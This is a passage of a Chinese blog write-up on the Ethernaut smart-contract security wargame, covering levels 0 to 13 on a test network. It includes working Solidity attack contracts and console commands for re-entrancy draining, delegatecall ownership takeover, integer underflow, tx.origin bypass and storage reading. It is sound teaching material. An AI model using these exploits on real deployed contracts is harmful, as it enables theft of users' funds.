[区块链安全-Ethernaut]区块链智能合约安全实战-连载中
Posted YANG HANG
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[区块链安全-Ethernaut]区块链智能合约安全实战-连载中相关的知识,希望对你有一定的参考价值。
[区块链安全-Ethernaut]区块链智能合约安全实战-连载中
- 准备
- 0. Hello Ethernaut
- 1. Fallback
- 2. Fallout
- 3. Coin Flip
- 4. Telephone
- 5. Token
- 6. Delegation
- 7. Force
- 8. Vault
- 9 King
- 10 Re-entrancy
- 11 Elevator
- 12 Privacy
- 13 GateKeeper One
- 14 GateKeeper Two
- 15 Naught Coin
- 16 Preservation
- 17 Recovery
- 18 MagicNumber
- 19 AlienCodex
- 20 Denial
- 21 Shop
- 22 Dex
- 23 Dex2
- 24 Puzzle Wallet
准备
随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。
- 首先,应确保安装Metamask,如果可以使用Google Extension可以直接安装,否则可以使用FireFox安装
- 新建账号,并连接到RinkeBy Test Network(需要在Setting - Advanced里启用Show test networks,并在网络中进行切换)
- 访问Faucet并获取测试币,每天都有0.1Eth的额度
现在就可以开始Ethernaut的探索之旅了!
0. Hello Ethernaut
本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。
准备工作
进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:
按F12打开开发者工具,在console界面就可以进行智能合约的交互。
创建实例并分析
单击 Get New Instance 以创建新的合约实例。
可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
交互以创建实例。在辅导参数中,调用0xdfc86b17
方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966
作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
,附带的地址则是用来表明所处的关卡,如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966
。
实例已经成功生成,主合约交易截图如下:
进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
。
回到页面来看,可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822
下面我们将进行合约的交互以完成本关卡。
合约交互
此时,在console界面可以通过player
和contract
分别查看用户当前账户和被创建合约实例。player
代表用户钱包账户地址,而contract
则包含合约实例abi
、address
、以及方法信息。
按照提示要求输入await contract.info()
,得到结果'You will find what you need in info1().'
。
输入await contract.info1()
,得到结果'Try info2(), but with "hello" as a parameter.'
。
输入await contract.info2('hello')
,得到结果'The property infoNum holds the number of the next info method to call.
。
输入await contract.infoNum()
,得到infoNum参数值为42
(Word中的首位)。这就是下一步要调用的函数(info42
)。
输入await contract.info42()
,得到结果'theMethodName is the name of the next method.
,即下一步应当调用theMethodName
。
输入await contract.theMethodName()
,得到结果'The method name is method7123949.
。
输入await contract.method7123949()
,得到结果'If you know the password, submit it to authenticate().
。
所以通过password()
可以获取密码ethernaut0
,并将其提交到authenticate(string)
。
注意当在进行authenticate()
函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。
此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易
在此之后,Console页面弹出成功提示,本关卡完成!
总结
本题比较简单,更多的是要熟悉ethernaut的操作和原理。
1. Fallback
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
。
本关卡要求获得合约的所有权并清空余额。
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()
及receive()
,其代码如下:
function contribute() public payable
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner])
owner = msg.sender;
receive() external payable
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
按照contribute()
的逻辑,当用户随调用发送小于0.001 ether
,其总贡献额超过了owner
,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner
的创建额为1000 ether
,所以这种方法不是很实用。
constructor() public
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
再考虑receive()
函数,根据其逻辑,当用户发送任意ether
,且在此之前已有贡献(已调用过contribute()
函数),即可获得合约所有权。receive()
类似于fallback()
,当用户发送代币但没有指定函数对应时(如sendTransaction()
),会调用该方法。
在获取所有权后,再调用withdraw
函数既可以清空合约余额。
合约交互
使用contract
命令,查看合约abi及对外函数情况。
调用await contract.contribute(value:1)
,向合约发送1单位Wei。
此时,调用await contract.getContribution()
查看用户贡献,发现贡献度为1,满足调用receiver()
默认函数的最低要求。
使用await contract.sendTransaction(value:1)
构造转账交易发送给合约,
调用await contract.owner() === player
确认合约所有者已经变更。
最后调用await contract.withdraw()
取出余额。
提交实例,显示关卡成功!
总结
本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()
及receive
的原理。
2. Fallout
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
。
本关卡要求获取合约的所有权。首先使用contract
命令查看合约的abi及函数信息。
查看合约源码,寻找可能的突破点。结果发现Fal1out()
函数即为突破口。其代码如下:
/* constructor */
function Fal1out() public payable
owner = msg.sender;
allocations[owner] = msg.value;
对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:
pragma solidity ^0.4.21;
contract DemoTest
function DemoTest() public
而在0.4.22起只支持利用constructor()
构建,如:
pragma solidity ^0.4.22;
contract DemoTest
constructor() public
但在本关卡中,很明显合约创建者出错,将Fallout
写成了Fal1out
。所以我们直接调用函数Fal1out
即可获得所有权。
合约交互
使用await contract.owner()
获取当前合约所有者为0x0
地址。
调用await contract.Fal1out(value:1)
实现所有权的获取。
调用await contract.owner() === player
确认已获取合约所有权。
提交实例,本关卡完成!
总结
本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。
3. Coin Flip
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
。
本关卡要求连续10次猜对硬币的正反面。
我们首先对代码展开观察,其代码示意如下图所示:
function flip(bool _guess) public returns (bool)
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue)
revert();
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess)
consecutiveWins++;
return true;
else
consecutiveWins = 0;
return false;
可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut
关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns
,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。
下面就到了合约间调用的内容了,其主要有几种:
- 使用被调用合约实例(已知被调用合约代码)
- 使用被调用合约接口实例(仅知道被调用合约接口)
- 使用call命令调用合约
我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。
攻击合约编写
利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack
就是我们的攻击合约,而CoinFlip
和CoinFlipInterface
都是为目标合约提供abi接口而定义的:
pragma solidity ^0.6.0;
// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";
// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip
// 复制本关卡代码,此处省略....
// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface
function flip(bool _guess) external returns (bool);
contract CoinFlipAttacker
using SafeMath for uint256;
address private addr;
CoinFlip cf_ins;
CoinFlipInterface cf_interface;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _addr) public
addr = _addr;
cf_ins = CoinFlip(_addr);
cf_interface = CoinFlipInterface(_addr);
// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
function getFlip() private returns (bool)
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
return side;
// 使用被调用合约实例(已知被调用合约代码)
function attackByIns() public
bool side = getFlip();
cf_ins.flip(side);
// 使用被调用合约接口实例(仅知道被调用合约接口)
function attackByInterface() public
bool side = getFlip();
cf_interface.flip(side);
// 使用call命令调用合约
function attackByCall() public
bool side = getFlip();
addr.call(abi.encodeWithSignature("flip(bool)",side));
合约交互
此时,我们选择0.6.12+commit.27d51765.js
的编译器,通过编译,如下图所示:
在部署页面,选择Injected Web3
,连接Metamask钱包
,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
。
小狐狸签名,合约部署完成,攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF
,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:
- 使用被调用合约实例(attackByIns)
在调用前,我们有连续猜中次数为3,如下图所示:
点击attackByIns
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
而此时连续猜中次数变为4,该方法验证成功!
- 使用被调用合约接口实例(attackByInterface)
此时,连续猜中次数为4,点击attackByInterface
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
而此时连续猜中次数变为5,该方法验证成功!
- 使用call命令调用合约(attackByCall)
此时,连续猜中次数为5,点击attackByCall
,弹出Metamask确认弹窗,确认,当前区块已成功挖出。
而此时连续猜中次数变为6,该方法验证成功!
无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit
的设置,如果不够会爆出out of gas
或者reverted
的错误,可以在小狐狸确认界面进行设置。
我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!
总结
本关卡主要考察solidity
的编写及合约间的调用。我在做的时候遇到了很多gas
相关的问题,以前不是很注意,现在要非常注意了!
4. Telephone
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
。
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner
函数,函数代码如下所示:
function changeOwner(address _owner) public
if (tx.origin != msg.sender)
owner = _owner;
其先决条件在于tx.origin
与msg.sender
不相同,那我们应对此展开研究。
tx.origin
会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。msg.sender
为直接调用智能合约功能的帐户或智能合约的地址
两者区别在于如果同一笔交易内有多笔调用,tx.origin
保持不变,而msg.sender
将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。
攻击合约编写
同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface
接口创建合约接口实例,我们则通过attack函数执行攻击
:
pragma solidity ^0.6.0;
interface TelephoneInterface
function changeOwner(address _owner) external;
contract TelephoneAttacker
TelephoneInterface tele;
constructor(address _addr) public
tele = TelephoneInterface(_addr);
function attack(address _owner) public
tele.changeOwner(_owner);
合约交互
初始时,合约所有权尚未得到。
我们在remix上部署合约,参数附带0xba9405B2d9D1B92032740a67B91690a70B769221
以初始化被攻击合约接口实例tele
。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811
。
在remix上调用attack
函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b
即钱包地址。
此时,再检查所有权发现已发生变更。
提交实例,本关卡已成功通过。
总结
tx.origin
这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin
相关的安全设置。
5. Token
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
。
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33
调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE
创建目标合约,并向player
转账20token
。
分析其合约源码,要求增加已有的代币数量,应该从transfer
函数入手,函数代码如下:
function transfer(address _to, uint _value) public returns (bool)
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
这里代码里犯了一个错误,那就是对于uint
运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255
及255+1=0
的错误产生。我们就可以利用这一漏洞,实现代币的无限增发。
合约交互
调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)
函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token
,此时20-21
发生了下溢出,达到最大值。此时,可以看到,代币余额发生了增长。
提交实例,本关卡通过!
总结
这就是为什么我们需要Safemath
。写合约时一定要注意上溢出和下溢出!
6. Delegation
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
。
本关卡要求**获取合约Delegation
**的所有权。
对合约展开分析,源代码部分提供了两部分合约,一个是Delegate
,另一个则是Delegation
。两合约间通过Delegation
的fallback
函数,基于delegatecall
方法展开调用。
fallback() external
(bool result,) = address(delegate).delegatecall(msg.data);
if (result)
this;
对于Delegation
合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate
合约里有没有。分析合约可以看到,pwn()
可以实现。
function pwn() public
owner = msg.sender;
这时候可能有人会感到疑惑,Delegate
和Delegation
是两个不同的合约,如果我们仅去修改Delegate
里的owner
,会对跨合约调用它的Delegation
产生影响吗?
在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 call
、delegatecall
和callcode
,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):
call
: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。delegatecall
:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境Bcallcode
:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B
所以当时用delegatecall
时,尽管我们是调用Delegate
合约中的函数,但实际上,我们是在Delegation
环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。
合约交互
初始化时,有合约所有权并不为player
。
使用contract.sendTransaction(value:1,data:web3.utils.keccak256("pwn()").slice(0,10))
来发起调用,结果失败,仔细一看是因为fallback
没有payable
修饰。这是一开始的理解错误,观察不够仔细。
去掉value
,重新调用await contract.sendTransaction(data:web3.utils.keccak256("pwn()").slice(0,10))
。此时合约所有权已完成转移。解释一下,这里data
是为了调用pwn
函数,使用sha3
编码并取了前4个字节,此处因为没有入参,所以作了简化。
提交合约实例,本关卡成功!
总结
合约间的调用需要非常谨慎,delegate
原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!
7. Force
不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
。
本关卡要求给合约Force
转入代币,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?
在实际中,如果要给智能合约转账,有几种常见方法。
- Transfer: Throws exception when an error occurs, and the code will not execute afterward
- Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
- call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.
三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。
那么有没有其他方法呢?
However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased
也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。
合约交互
合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。
我们通过remix构建合约,其中写入自毁函数。
pragma solidity ^0.6.0;
contract ForceAttacker
constructor() public payable
function destruct(address payable addr) public
selfdestruct(addr);
新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C
以被攻击合约为变量,调用destruct
函数。
此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。
提交实例,本关卡成功通过!
总结
selfdestruct
不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance
的操纵,我们应使用balance
变量来接受特定业务逻辑的余额。
8. Vault
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E
。
对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password
。本关卡对password
的定义是私有变量,那时不时就看不到了呢?
答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?
第一个回答是用什么看?
web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])
,使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:
String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.
一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);
,后面两个参数一般都是可选的。
第二个回答是怎么看?
以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。
# 插槽式数组存储
----------------------------------
| 0 | # slot 0
----------------------------------
| 1 | # slot 1
----------------------------------
| 2 | # slot 2
----------------------------------
| ... | # ...
----------------------------------
| ... | # 每个插槽 32 字节
----------------------------------
| ... | # ...
----------------------------------
| 2^256-1 | # slot 2^256-1
----------------------------------
每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。
- 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
- 基本类型仅使用存储它们所需的字节
- 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移入下一个存储插槽
- 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)
例如以下合约
pragma solidity ^0.4.0;
contract C
address a; // 0
uint8 b; // 0
uint256 c; // 1
bytes24 d; // 2
其存储布局如下:
-----------------------------------------------------
| unused (11) | b (1) | a (20) | <- slot 0
-----------------------------------------------------
| c (32) | <- slot 1
-----------------------------------------------------
| unused (8) | d (24) | <- slot 2
-----------------------------------------------------
回到本题,很明显存储摆放应该是
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| password (32) | <- slot 1
-----------------------------------------------------
所以我们可以通过slot1
获取password信息。
合约交互
输入await web3.eth.getStorageAt(contract.address,1)
获取byte32 password
。
此时,合约仍然上锁(可通过await contract.locked()
)查询。
调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')
实现对合约的解锁。
此时,合约已经解锁。
提交实例,本关卡成功通过。
总结
区块链上没有秘密。
9 King
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2
。对其合约展开分析,其合约功能在于以下代码段:
receive() external payable
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。
打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。
- 用户发送指定金额的以太。
- 合约将以太转发给当前国王
- 更新国王及奖金。
我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
contract KingAttacker
constructor() public payable
function attack(address payable addr) public payable
addr.call.value(msg.value)("");
fallback() external payable
revert();
在接受函数,我们主动回退,即可防止合约继续执行。
合约交互
首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。
所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208
)后,传入2Finney,调用攻击合约attack
方法。
此时我们看看国王,使用await contract._king()
,可以看出,国王已经变成攻击合约。
提交合约,关卡成功!
查看链上数据可知,在执行过程中产生了回滚(revert
)。
总结
攻击时可以从合约执行的多个角度入手。
10 Re-entrancy
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
。对其合约展开分析,其合约提取函数如下:
function withdraw(uint _amount) public
if(balances[msg.sender] >= _amount)
(bool result,) = msg.sender.callvalue:_amount("");
if(result)
_amount;
balances[msg.sender] -= _amount;
这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?
答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?
那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Reentrance
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balanceOf);
contract Attacker
Reentrance ReentranceImpl;
uint256 requiredValue;
constructor(address addr) public payable
ReentranceImpl = Reentrance(addr);
requiredValue = msg.value;
function getBalance(address addr) public view returns (uint)
return addr.balance;
function donate() public
ReentranceImpl.donatevalue:requiredValue(address(this));
function withdraw(uint _amount) public
ReentranceImpl.withdraw(_amount);
function destruct() public
selfdestruct(msg.sender);
fallback() external payable
uint256 ReentranceImplValue = address(ReentranceImpl).balance;
if (ReentranceImplValue >= requiredValue)
withdraw(requiredValue);
else if(ReentranceImplValue > 0)
withdraw(ReentranceImplValue);
我们使用ReentranceImpl
标记目标合约,使用requiredValue
来表示合约在目标合约中存的钱。同时,我们又定义fallback
函数,每当受到资金时,就会调用withdraw
函数,从目标合约中提取余额。让我们进行合约交互。
合约交互
先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。
所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e
,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287
。
首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。
我们利用donate
函数向目标合约存入余额。
此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用withdraw
函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。
而目标合约余额已经归零,攻击完成!
提交实例,本关卡完成!
最后别忘了通过合约自毁(destruct)收回余额哦~
总结
合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响
11 Elevator
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
。对其合约展开分析,其合约核心代码如下:
function goTo(uint _floor) public
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor))
floor = _floor;
top = building.isLastFloor(floor);
由于先判断isLastFloor
,不满足后才进入if
结构体,并再次获取isLastFloor
。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?
由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Elevator
function goTo(uint _floor) external;
contract Building
Elevator elevatorImpl;
bool isTop;
constructor(address addr) public
elevatorImpl = Elevator(addr);
isTop = false;
function flip() public
isTop = !isTop;
function isLastFloor(uint) public returns (bool)
bool res = isTop;
flip();
return res;
function attack() public
elevatorImpl.goTo(1);
其核心之处在于,每次调用isLastFloor
函数都会内部调用flip
函数完成变量isTop
的翻转,因此连续两次获取的结果是不一样的。
合约交互
输入await contract.top()
查看是否为顶层,结果为false。
部署合约,传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE
,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a
。
调用attack()
函数,发起对目标合约的攻击。
此时,再次查看,输入await contract.top()
查看是否为顶层,结果为true。
提交实例,本关卡成功!
总结
合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。
12 Privacy
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf
。对其合约展开分析,其合约核心代码如下:
function unlock(bytes16 _key) public
require(_key == bytes16(data[2]));
locked = false;
此时,应当输入data[2]
,而这又该怎么获得呢?很明显,我们还是要从存储机制入手。
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
这是变量定义,对应的,我们有槽存储分布如下:
-----------------------------------------------------
| unused (31) | locked(1) | <- slot 0
-----------------------------------------------------
| ID(32) | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) | denomination (1) | flattening(1) | <- slot 2
-----------------------------------------------------
| data[0](32) | <- slot 3
-----------------------------------------------------
| data[1](32) | <- slot 4
-----------------------------------------------------
| data[2](32) | <- slot 5
-----------------------------------------------------
所以,data[2]
存储在slot 5里。
合约交互
输入await web3.eth.getStorageAt(contract.address,5)
得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'
。
此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。
我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)
。
之后,直接提交结果,准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')
。
此时,合约已经完成解锁。
提交实例,本关卡成功!
总结
还是那句话,区块链上没有秘密。
13 GateKeeper One
大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。
创建实例并分析
根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284
。本关卡的目的是满足gateOne
、gateTwo
和gateThree
,成功实现entrant
的修改。
那么我们需要怎么做呢?首先看一看modifier
分别提出了什么要求。看看能否满足和修改?
modifier gateOne()
require(msg.sender != tx.origin);
_;
分析gateOne
,可以看出需要msg.sender != tx.origin
,这表明我们需要一个合约作为中转。
modifier gateTwo()
require(gasleft().mod(8191) == 0);
_;
分析gateTwo
,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。
modifier gateThree(bytes8 _gateKey)
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
分析gateThree
,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),
),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey)
)。
所以我们可以整理思路,编写智能合约了。
攻击合约编写
我们同样在remix里编写攻击合约。如下:
pragma solidity ^0.6.0;
interface Gate
function enter(bytes8 _gateKey) external returns (bool);
contract attackerSupporter
uint64 offset = 0xFFFFFFFF0000FFFF;
bytes8 changedValue;
Gate gateImpl;
constructor(address addr) public
gateImpl = Gate(addr);
function getAddress() public
changedValue = bytes8(uint64(tx.origin) & offset);
function check1() public view returns (bool)
return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
function check2() public view returns (bool)
return uint32(uint64(changedValue)) != uint64(changedValue);
function check3() public view returns (bool)
return uint32(uint64(changedValue)) == uint16(tx.origin);
function attack() public
gateImpl.enter(changedValue);
这里主要看为什么能够解决gateThree
的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)
运算。
address
类型长度为160位,20字节,40个十六进制uint64(tx.origin)
对tx.origin
进行了截取,选取后64位,8字节,16十六进制。offset
类型为uint64
,默认值为0xFFFFFFFF0000FFFF
,最后的FFFF
保证其最后16位不发生改变,中间的0000
保证17-33位为0,剩以上是关于[区块链安全-Ethernaut]区块链智能合约安全实战-连载中的主要内容,如果未能解决你的问题,请参考以下文章